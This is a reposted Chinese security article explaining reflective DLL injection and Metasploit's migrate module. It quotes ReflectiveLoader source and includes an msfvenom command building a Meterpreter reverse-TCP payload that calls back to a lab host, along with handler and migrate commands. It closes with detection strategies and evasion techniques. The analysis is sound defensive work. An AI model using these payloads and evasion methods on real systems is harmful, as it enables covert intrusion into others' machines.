网易首页 > 网易号 > 正文 申请入驻

深入理解反射式dll注入技术

0
分享至

  前言

  dll 注入技术是让某个进程主动加载指定的 dll 的技术。恶意软件为了提高隐蔽性,通常会使用 dll 注入技术将自身的恶意代码以 dll 的形式注入高可信进程。

  常规的 dll 注入技术使用 LoadLibraryA() 函数来使被注入进程加载指定的 dll。常规dll注入的方式一个致命的缺陷是需要恶意的 dll 以文件的形式存储在受害者主机上。这样使得常规 dll 注入技术在受害者主机上留下痕迹较大,很容易被 edr 等安全产品检测到。为了弥补这个缺陷,stephen fewer 提出了反射式 dll 注入技术并在 github开源,反射式dll注入技术的优势在于可以使得恶意的dll通过 socket 等方式直接传输到目标进程内存并加载,期间无任何文件落地,安全产品的检测难度大大增加。

  本文将从 dll 注入技术简介、msf migrate 模块剖析、检测思路和攻防对抗的思考等方向展开说明反射式 dll 注入技术。

  dll注入技术简介

  1 常规dll注入技术

  常规 dll 注入有:

  1) 通过调用 CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread() 函数在被注入进程创建线程进行 dll 注入。

  2) 通过调用 QueueUserAPC()/SetThreadContext() 函数来劫持被注入进程已存在的线程加载 dll。

  3) 通过调用 SetWindowsHookEx() 函数来设置拦截事件,在发生对应的事件时,被注入进程执行拦截事件函数加载 dll。

  以使用 CreateRemoteThread() 函数进行 dll 注入的方式为例,实现思路如下:

  1) 获取被注入进程 PID。

  2) 在注入进程的访问令牌中开启 SE_DEBUG_NAME 权限。

  3) 使用 openOpenProcess() 函数获取被注入进程句柄。

  4) 使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用 WriteProcessMemory() 函数写入 DLL 路径的字符串。

  5) 使用 GetProcAddress() 函数在当前进程加载的 kernel32.dll 找到 LoadLibraryA函数的地址。

  6) 通过 CreateRemoteThread() 函数来调用 LoadLibraryA() 函数,在被注入进程新启动一个线程,使得被注入进程加载恶意的 DLL。

  常规 dll 注入示意图如上图所示。该图直接从步骤3)开始,步骤1)和步骤2)不再赘述。

  2 反射式dll注入技术

  反射式 dll 注入与常规 dll 注入类似,而不同的地方在于反射式 dll 注入技术自己实现了一个 reflective loader() 函数来代替 LoadLibaryA() 函数去加载 dll,示意图如下图所示。蓝色的线表示与用常规dll注入相同的步骤,红框中的是 reflective loader() 函数行为,也是下面重点描述的地方。

  Reflective loader 实现思路如下:

  1) 获得被注入进程未解析的 dll 的基地址,即下图第7步所指的 dll。

  2) 获得必要的 dll 句柄和函数为修复导入表做准备。

  3) 分配一块新内存去取解析 dll,并把 pe 头复制到新内存中和将各节复制到新内存中。

  4) 修复导入表和重定向表。

  5) 执行 DllMain() 函数。

  Msf migrate模块

  msf 的 migrate 模块是 post 阶段的一个模块,其作用是将 meterpreter payload 从当前进程迁移到指定进程。

  在获得 meterpreter session 后可以直接使用 migrate 命令迁移进程,其效果如下图所示:

  migrate 的模块的实现和 stephen fewer 的 ReflectiveDLLInjection 项目大致相同,增加了一些细节,其实现原理如下:

  1) 读取 metsrv.dll(metpreter payload模板dll)文件到内存中。

  2) 生成最终的 payload。

  msf 生成一小段汇编 migrate stub 主要用于建立 socket 连接。

  将 metsrv.dll 的 dos 头修改为一小段汇编 meterpreter_loader 主要用于调用reflective loader 函数和 dllmain 函数。在 metsrv.dll 的 config block 区填充meterpreter 建立 session 时的配置信息。

  最后将 migrate stub 和修改后的 metsrv.dll 拼接在一起生成最终的 payload。

  3) 向 msf server 发送 migrate 请求和 payload。

  4) msf 向迁移目标进程分配一块内存并写入 payload。

  5) msf 首先会创建的远程线程执行 migrate stub,如果失败了,就会尝试用 apc 注入的方式执行 migrate stub。migrate stub 会调用 meterpreter loader,meterpreter loader 才会调用 reflective loader。

  6) reflective loader 进行反射式 dll 注入。

  7) 最后 msf client 和 msf server 建立一个新的 session。

  原理图如下所示:

  图中红色的线表示与常规反射式dll注入不同的地方。红色的填充表示修改内容,绿色的填充表示增加内容。migrate 模块的 reflective loader 是直接复用了 stephen fewer 的 ReflectiveDLLInjection 项目的 ReflectiveLoader.c 中的 ReflectiveLoader() 函数。下面我们主要关注 reflective loader 的行为。

  1 静态分析

  1.1 获取dll地址

  ReflectiveLoader() 首先会调用 caller() 函数

  uiLibraryAddress = caller();

  caller() 函数实质上是 _ReturnAddress() 函数的封装。caller() 函数的作用是获取caller() 函数的返回值,在这里也就是 ReflectiveLoader() 函数中调用 caller() 函数的下一条指令的地址。

  #ifdef __MINGW32__#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))#else#pragma intrinsic(_ReturnAddress)#define WIN_GET_CALLER() _ReturnAddress()#endif__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

  然后,向低地址逐字节比较是否为为 dos 头的标识MZ字串,若当前地址的内容为 MZ字串,则把当前地址认为是 dos 头结构体的开头,并校验 dos 头 e_lfanew 结构成员是否指向 pe 头的标识 “PE” 字串。若校验通过,则认为当前地址是正确的 dos 头结构体的开头。

  while( TRUE )//将当前地址当成dos头结构,此结构的e_magic成员变量是否指向MZ子串if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )uiHeaderValue += uiLibraryAddress;//判断e_lfanew结构成员是否指向PE子串,是则跳出循环,取得未解析dll的基地址if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )break;uiLibraryAddress--;

  1.2 获取必要的 dll 句柄和函数地址

  获取必要的 dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderModuleList 链表获取 dll 名称,之后算出 dll 名称的 hash,最后进行hash 对比得到最终的 hash。

  uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;while( uiValueA )uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;uiValueC = 0;ULONG_PTR tmpValC = uiValueC;//计算tmpValC所指向子串的hash值,并存储在uiValueC中if( (DWORD)uiValueC == KERNEL32DLL_HASH )

  必要的函数是遍历函数所在的dll导出表获得函数名称,然后做hash对比得到的。

  uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );usCounter = 3;while( usCounter > 0 )dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );if( dwHashValue == LOADLIBRARYA_HASH//等于其他函数hash的情况uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );if( dwHashValue == LOADLIBRARYA_HASH )pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );//等于其他函数hash的情况usCounter--;uiNameArray += sizeof(DWORD);uiNameOrdinals += sizeof(WORD);

  1.3 将 dll 映射到新内存

  Nt optional header 结构体中的 SizeOfImage 变量存储着 pe 文件在内存中解析后所占的内存大小。所以 ReflectiveLoader() 获取到 SizeOfImage 的大小,分配一块新内存,然后按照 section headers 结构中的文件相对偏移和相对虚拟地址,将 pe 节一一映射到新内存中。

  //分配SizeOfImage的新内存uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;uiValueB = uiLibraryAddress;uiValueC = uiBaseAddress;//将所有头和节表逐字节复制到新内存while( uiValueA-- )*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;//解析每一个节表项uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;while( uiValueE-- )uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;//将每一节的内容复制到新内存对应的位置while( uiValueD-- )*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;uiValueA += sizeof( IMAGE_SECTION_HEADER );

  1.4 修复导入表和重定位表

  首先更具导入表结构,找到导入函数所在的 dll 名称,然后使用 loadlibary() 函数载入dll,根据函数序号或者函数名称,在载入的 dll 的导出表中,通过 hash 对比,并把找出的函数地址写入到新内存的 IAT 表中。

  uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );//当没有到达导入表末尾时while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )//使用LoadLibraryA()函数加载对应的dlluiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );//IAT表uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );while( DEREF(uiValueA) )//如果导入函数是通过函数编号导入if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ){ //通过函数编号索引导入函数所在dll的导出函数uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );//将对应的导入函数地址写入IAT表DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );else//导入函数通过名称导入的uiValueB = ( uiBaseAddress + DEREF(uiValueA) );DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );uiValueA += sizeof( ULONG_PTR );if( uiValueD )uiValueD += sizeof( ULONG_PTR );uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );

  重定位表是为了解决程序指定的 imagebase 被占用的情况下,程序使用绝对地址导致访问错误的情况。一般来说,在引用全局变量的时候会用到绝对地址。这时候就需要去修正对应内存的汇编指令。

  uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];//如果重定向表的值不为0,则修正重定向节if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);//根据不同的标识,修正每一项对应地址的值while( uiValueB-- )if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);uiValueD += sizeof( IMAGE_RELOC );uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;

  2 动态调试

  本节一方面是演示如何实际的动态调试 msf 的 migrate 模块,另一方面也是获取dll基地址章节的一个补充,从汇编层次来看会更容易理解。

  首先用 msfvenom 生成 payload

  msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

  并使用 msfconsole 设置监听

  msf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 0.0.0.0lhost => 0.0.0.0msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444

  之后在受害机使用 windbg 启动 msf.exe 并且

  bu KERNEL32!CreateRemoteThread;g

  获得被注入进程新线程执行的地址,以便调试被注入进程。

  当建立 session 连接后,在 msfconsole 使用 migrate 命令

  migrate 5600 //5600是要迁移的进程的pid

  然后 msf.exe 在 CreateRemoteThread 函数断下,CreateRemoteThread 函数原型如下

  HANDLE CreateRemoteThread([in] HANDLE hProcess,[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,[in] SIZE_T dwStackSize,[in] LPTHREAD_START_ROUTINE lpStartAddress,[in] LPVOID lpParameter,[in] DWORD dwCreationFlags,[out] LPDWORD lpThreadId

  所以我们要找第四个参数 lpStartAddress 的值,即 r9 寄存器的内容,

  使用

  !address 000001c160bb0000

  去 notepad 进程验证一下,是可读可写的内存,基本上就是对的

  此时的地址是 migrate stub 汇编代码的地址,我们期望直接断在 reflective loader 的函数地址,我们通过

  s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000为上面的lpStartAddress,3200为我们获取到的内存块大小

  直接去搜 MZ 字串定位到 meterpreter loader 汇编的地址,进而定位到 reflective loader 的函数地址

  meterpreter loader 将 reflective loader 函数的地址放到 rbx 中,所以我们可直接断在此处,进入 reflective loader 的函数,如下图所示

  reflective loader 首先 call 000001c1`60bb5dc9 也就是caller()函 数,caller() 函数的实现就比较简单了,一共两条汇编指令,起作用就是返回下一条指令的地址

  在这里也就是 0x000001c160bb5e08

  获得下一条指令后的地址后,就会比较获取的地址的内容是否为 MZ 如果不是的话就会把获取的地址减一作为新地址比较,如果是的话,则会比较 e_lfanew 结构成员是否指向 PE,若是则此时的地址作为 dll 的基地址。后面调试过程不再赘述。

  检测方法

  反射式 dll 注入技术有很多种检测方法,如内存扫描、IOA 等。下面是以内存扫描为例,我想到的一些扫描策略和比较好的检测点。

  扫描策略:

  Hook 敏感 api,当发生敏感 api 调用序列时,对注入进程和被注入进程扫描内存。

  跳过 InMemoryOrderModuleList 中的 dll。

  检测点多是跟 reflective loader 函数的行为有关,检测点如下:

  强特征匹配 ReturnAddress() 的函数。Reflectiveloader 函数定位 dos 头的前置操作就是调用调用 ReturnAddress() 函数获得当前 dll 的一个地址。

  扫描定位 pe 开头位置的代码逻辑。详见静态分析章节,我们可以弱匹配此逻辑。

  扫描特定的 hash 函数和 hash 值。在 dll 注入过程中,需要许多 dll 句柄和函数地址,所以不得不使用 hash 对比 dll 名称和函数名称。我们可以匹配 hash 函数和这些特殊的 hash 值。

  从整体上检测 dll 注入。在被注入进程其实是存在两份 dll 文件,一份是解析前的原 pe 文件,一份是解析后的 pe 文件。我们可以检测这两份 dll 文件的关系来确定是反射式 dll 注入工具。

  云主机安全保护平台 CWPP 能够有效检测此类利用反射式 dll 注入 payload 的无文件攻击技术。检测结果如图所示:

  攻防对抗的思考

  对于标准的反射 dll 注入是有很多种检测方式的,主要是作者没有刻意的做免杀,下面对于我搜集到了一些免杀方式,探讨一下其检测策略。

  避免直接调用敏感 api 。例如不直接调用 writeprocessmemory 等函数,而是直接用 syscall 调用。这种免杀方式只能绕过用户态的 hook。对于内核态 hook 可以解这个问题。

  dll 在内存中的 rwx 权限进行了去除,变成rx。其实有好多粗暴的检测反射式dll注入的攻击方式,就是检测 rwx 权限的内存是否为 pe 文件。

  擦除 nt 头和 dos 头。这种免杀方式会直接让监测点4)影响较大,不能简单的校验pe头了,需要加入更精确的确定两个 dll 的文件,比如说,首先通过读取未解析的dll的SizeOfImage 的大小,然后去找此大小的内存块,然后对比代码段是否一致,去判断是否为同一 pe 文件。

  抹除未解析 pe 文件的内存。这种免杀方式会导致监测点4)彻底失效,这种情况下我们只能对 reflectiveloader() 函数进行检测。

  抹除 reflectiveloader() 函数的内存。这里就比较难检测了。但是也是有检测点的,这里关键是如何确定这块内存是 pe 结构,重建 pe 结构之后,我们可以通过导出表去看导出函数是否被抹除。

  https://bbs.pediy.com/thread-220405.htm

  https://bbs.pediy.com/thread-224078.htm

  https://github.com/sud01oo/ProcessInjection

  https://github.com/stephenfewer/ReflectiveDLLInjection

  《Windows PE权威指南》

  https://github.com/rapid7/metasploit-payloads

  本篇技术分析授权转载

  作者:深信服千里目

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
证监会副主席方星海:对私募股权基金和创投基金,证监会的态度是大力发展,但是要规范发展

证监会副主席方星海:对私募股权基金和创投基金,证监会的态度是大力发展,但是要规范发展

财联社
2024-06-19 17:49:14
乘客买票体验C919,却被换成老机型执飞,航空公司是否违约?

乘客买票体验C919,却被换成老机型执飞,航空公司是否违约?

环球网资讯
2024-06-20 15:14:25
脱钩完成?中国已被“取代”降为美国进口国第三,拜登预言说..

脱钩完成?中国已被“取代”降为美国进口国第三,拜登预言说..

华人星光
2024-06-19 17:33:07
感觉福建浙江条件比较相似,为何福建经济相比浙江有一定差距?

感觉福建浙江条件比较相似,为何福建经济相比浙江有一定差距?

农村阿祖
2024-06-20 00:40:00
解放军3面包夹,核潜艇上浮,不到24小时,美对台售1011架无人机

解放军3面包夹,核潜艇上浮,不到24小时,美对台售1011架无人机

笔墨V
2024-06-19 13:14:07
中国13亿人,月收入不足5000的背后,是年轻人自愿“断子绝孙”

中国13亿人,月收入不足5000的背后,是年轻人自愿“断子绝孙”

庞明说财经
2024-06-18 19:52:08
FIFA排名第18!日本队大概率将跻身世界杯第二档球队

FIFA排名第18!日本队大概率将跻身世界杯第二档球队

直播吧
2024-06-19 20:34:16
再添一把火!车商险企共同助力,一辆50万元的二手车以旧换新可节省数万元

再添一把火!车商险企共同助力,一辆50万元的二手车以旧换新可节省数万元

华夏时报
2024-06-18 18:44:06
山东一新郎与父亲布置婚房,无意中一句话,竟被父亲3刀砍死

山东一新郎与父亲布置婚房,无意中一句话,竟被父亲3刀砍死

安妮Emotiong
2024-06-11 18:52:22
网友们又看出了我们的一段痛史

网友们又看出了我们的一段痛史

清晖有墨
2024-06-20 11:29:04
纯血鸿蒙即将开测,首批适配机型曝光!

纯血鸿蒙即将开测,首批适配机型曝光!

果粉俱乐部
2024-06-20 12:09:23
惠特莫尔和杰伦布朗全面对比,谁弱谁强,一目了然!

惠特莫尔和杰伦布朗全面对比,谁弱谁强,一目了然!

刺头体育
2024-06-20 11:43:09
美专家警告:别把俄国逼得太狠,一旦俄国当中国的附庸就全完了

美专家警告:别把俄国逼得太狠,一旦俄国当中国的附庸就全完了

百态人间
2024-06-19 18:57:46
许可馨在美国发声:我移民了,也结了婚,我的运气真不错

许可馨在美国发声:我移民了,也结了婚,我的运气真不错

史二了
2024-06-18 11:13:02
以军方:无法彻底摧毁哈马斯

以军方:无法彻底摧毁哈马斯

参考消息
2024-06-20 14:43:19
美英空袭也门!托孤中国,埃及国家博物馆清空!法老要宣战了?

美英空袭也门!托孤中国,埃及国家博物馆清空!法老要宣战了?

蓝星观察
2024-06-20 13:29:09
上海暴雨蓝色预警信号解除 防汛防台四级响应行动同步终止

上海暴雨蓝色预警信号解除 防汛防台四级响应行动同步终止

财联社
2024-06-20 12:12:16
三上悠亚回忆首部作品,解密作为女优出道的目的。

三上悠亚回忆首部作品,解密作为女优出道的目的。

楚门记
2024-06-18 14:54:33
令人惋惜!网曝陈晓净身出户也要离婚,陈妍希身材发福独自带娃

令人惋惜!网曝陈晓净身出户也要离婚,陈妍希身材发福独自带娃

深剖娱乐圈
2024-06-19 17:06:37
央视直播女排总决赛, 中国女排VS日本女排, 张常宁领衔复仇战!

央视直播女排总决赛, 中国女排VS日本女排, 张常宁领衔复仇战!

阿牛体育说
2024-06-20 15:54:56
2024-06-20 17:10:44
安全牛
安全牛
信息安全新媒体
4088文章数 5944关注度
往期回顾 全部

科技要闻

小米SU7流量泼天,富贵却被蔚来接住了

头条要闻

报道称中国或对欧盟乳制品发起反补贴调查 商务部回应

头条要闻

报道称中国或对欧盟乳制品发起反补贴调查 商务部回应

体育要闻

绿军的真老大,开始备战下赛季了

娱乐要闻

叶舒华参加柯震东生日聚会,五毒俱全

财经要闻

日本银行巨头突然爆雷!

汽车要闻

售价11.79-14.39万元 新一代哈弗H6正式上市

态度原创

时尚
艺术
手机
亲子
房产

中年女性穿衣的重点,不在衣服的数量多少,而在于这三个方面

艺术要闻

穿越时空的艺术:《马可·波罗》AI沉浸影片探索人类文明

手机要闻

喜大泪奔,华为Pura 70系列总算降价,入手国产自主手机不再是梦

亲子要闻

9个月宝宝遇见榴莲,表情变化才是亮点

房产要闻

海棠湾!一所重量级国际学校真的来了!

无障碍浏览 进入关怀版